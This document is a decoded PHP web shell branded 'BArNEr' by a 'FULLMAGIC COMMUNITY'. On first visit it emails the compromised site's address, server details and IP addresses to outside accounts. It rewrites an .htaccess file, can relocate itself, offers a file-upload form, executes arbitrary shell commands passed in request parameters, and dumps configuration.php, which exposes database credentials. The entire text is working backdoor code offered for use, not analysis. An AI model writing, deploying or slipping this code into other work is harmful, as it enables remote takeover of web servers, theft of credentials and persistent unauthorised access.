PHP Decode

<?php error_reporting(0); 
if (!isset($_SESSION['bajak'])) { 
    $visitcount = 0; 
    $web = $_SERVER["HTTP_HOST"]; 
    $inj = $_SERVER["REQUEST_URI"]; 
    $body = "Target ditemukan  
$web$inj"; 
    $safem0de = @ini_get('safe_mode'); 
    if (!$safem0de) { 
        $security = "SAFE_MODE = OFF"; 
    } else { 
        $security = "SAFE_MODE = ON"; 
    }; 
    $serper = gethostbyname($_SERVER['SERVER_ADDR']); 
    $injektor = gethostbyname($_SERVER['REMOTE_ADDR']); 
    $uname = ".php_uname()."; 
    mail("[email protected]", "$body", "Hasil Bajakan http://$web$inj 
$security 
$uname 
IP Server = $serper 
 IP Injector= $injektor"); 
    mail("[email protected]", "$body", "Hasil Bajakan http://$web$inj 
$security 
$uname 
IP Server = $serper 
 IP Injector= $injektor"); 
    $_SESSION['bajak'] = 1; 
} else { 
    $_SESSION['bajak']++; 
}; 
if (isset($_GET['clone'])) { 
    $source = $_SERVER['SCRIPT_FILENAME']; 
    $desti = $_SERVER['DOCUMENT_ROOT'] . "/cache/xml.php"; 
    rename($source, $desti); 
} 
$file = 'PEZpbGVzICpwaHAqPg0KICAgIE9yZGVyIERlbnksQWxsb3cNCiAgICBEZW55IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzICoudm9iPg0KICAgIE9yZGVyIERlbnksQWxsb3cNCiAgICBEZW55IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzICpwSHAqPg0KICAgIE9yZGVyIERlbnksQWxsb3cNCiAgICBEZW55IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzICpodG0qPg0KICAgIE9yZGVyIERlbnksQWxsb3cNCiAgICBEZW55IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzICpsaWJzLnBocCo+DQogICAgT3JkZXIgQWxsb3csRGVueQ0KICAgIEFsbG93IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzIDQwNC5waHA+DQogICAgT3JkZXIgQWxsb3csRGVueQ0KICAgIEFsbG93IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzICptbGlicyo+DQogICAgT3JkZXIgRGVueSxBbGxvdw0KICAgIERlbnkgZnJvbSBhbGwNCjwvRmlsZXM+DQo8RmlsZXMgKi5saWJzKj4NCiAgICBPcmRlciBEZW55LEFsbG93DQogICAgRGVueSBmcm9tIGFsbA0KPC9GaWxlcz4NCjxGaWxlcyBpbmRleCo+DQogICAgT3JkZXIgQWxsb3csRGVueQ0KICAgIEFsbG93IGZyb20gYWxsDQo8L0ZpbGVzPg=='; 
$pathx = $_SERVER['DOCUMENT_ROOT'] . '/' . 'cache/.htaccess'; 
if (file_exists($pathx)) @unlink($pathx); 
$content2 = base64_decode($file); 
$txt2 = fopen($pathx, "a+"); 
fwrite($txt2, $content2); 
fclose($txt2); 
$safem0de = @ini_get('safe_mode'); 
if (!$safem0de) { 
    $security = "SAFE_MODE : OFF BArNEr"; 
} else { 
    $security = "SAFE_MODE : ON BArNEr"; 
} 
echo "<title>BArNEr</title><br>"; 
$dataku = "POWERED BY FULLMAGIC COMMUNITY"; 
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER"; 
$dataku3 = "Contact Admin YM : KUNCUNG525"; 
echo "<font size=2 color=blue><b>" . $dataku . "</b><br>"; 
echo "<font size=2 color=red><b>" . $dataku2 . "</b><br>"; 
echo "<font size=2 color=blue><b>" . $dataku3 . "</b><br>"; 
echo "<font size=2 color=#888888><b>" . $security . "</b><br>"; 
$cur_user = "(" . get_current_user() . ")"; 
echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>"; 
echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>"; 
function pwd() { 
    $cwd = getcwd(); 
    if ($u = strrpos($cwd, '/')) { 
        if ($u != strlen($cwd) - 1) { 
            return $cwd . '/'; 
        } else { 
            return $cwd; 
        }; 
    } elseif ($u = strrpos($cwd, '\')){ 
if($u!=strlen($cwd)-1){ 
return $cwd.'\';} 
else{return $cwd;}; 
}; 
} 
if(isset($_GET['URL'])){ 
echo ' < formmethod = "POST"action = "" > < fontsize = 2color = #888888><b>Command</b><br><input type="text" name="sh"><input type="Submit" name="command" value="cok"></form>'; 
    echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>'; 
    if (isset($_POST['submit'])) { 
        $uploaddir = pwd(); 
        if (!$name = $_POST['newname']) { 
            $name = $_FILES['userfile']['name']; 
        }; 
        move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name); 
        if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) { 
            echo "Upload Failed"; 
        } else { 
            echo "Upload Success to " . $uploaddir . $name . " Succes! "; 
        } 
    } 
} 
if (isset($_POST['command'])) { 
    $sh = $_POST['sh']; 
    echo "<pre><font size=3 color=#000000>" . shell_exec($sh) . "</font></pre>"; 
} elseif (isset($_GET['shx'])) { 
    $comd = $_GET['sh']; 
    echo "<pre><font size=3 color=#000000>" . shell_exec($comd) . "</font></pre>"; 
} else { 
    echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>"; 
} 
if (isset($_GET['db'])) { 
    $conf = file_get_contents("../configuration.php"); 
    echo $conf; 
} ?>